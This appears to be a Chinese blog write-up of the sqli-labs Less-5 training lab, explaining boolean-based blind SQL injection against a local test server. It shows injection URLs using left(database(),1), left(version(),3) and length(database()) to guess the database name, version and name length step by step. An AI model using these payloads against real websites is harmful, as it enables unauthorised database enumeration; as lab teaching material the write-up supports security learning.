Less-5

Less-5这一关,我们可以看出 不会再显示出数据库相关的信息了,错误不显示,正确只显示一句话。

Less-5

 

 所以我们就不能使用Less1——Less5的那样的方式了

接下来我们就开始学习盲注!

1.判断数据库的第一个字母是什么?

使用到:left(database(),1)='a'    判断数据库的名字第一个字母是否为a

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)='a' --+

我们发现报错,页面没有任何显示。

Less-5

 

 我们还以使用二分法,来判断数据库来确定数据库名第一个字母的范围,给出语句

判断数据库第一个字母是否在字母 j 后面;如果在j后面,那么肯定会比j大。

Less-5

 

如果 判断字母比本身数据库要大,则就不会显示 

Less-5

 

还可以继续使用迭代增添字母来判断数据库的下一个字母的显示。

 我们发现,没有显示,所以我们往往可以根据这个来搜集到数据库的一些信息。

2、判断数据库的版本

判断数据库版本第一个个数字是否为5

可以发现,正确弹出语句,并无报错。

Less-5

 

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(version(),3)='5.7' --+ 

继续迭代判断数据库版本,可以发现,版本为5.7

Less-5

 

3、 判读数据库名的长度

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=7 --+,发现并没有显示正确语句

Less-5

 

 判读长度等于8的时候,发现正确,报出正常语句

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())=8

Less-5

 

 所以,根据1此判断数据库的长度为8;

 

根据这些,发现只需要重新造*即可。

 

 

 

 

 

 

 

 

 

上一篇:hdoj 2063 过山车【匈牙利算法+邻接矩阵or邻接表】


下一篇:NumberToChineseConverter.cs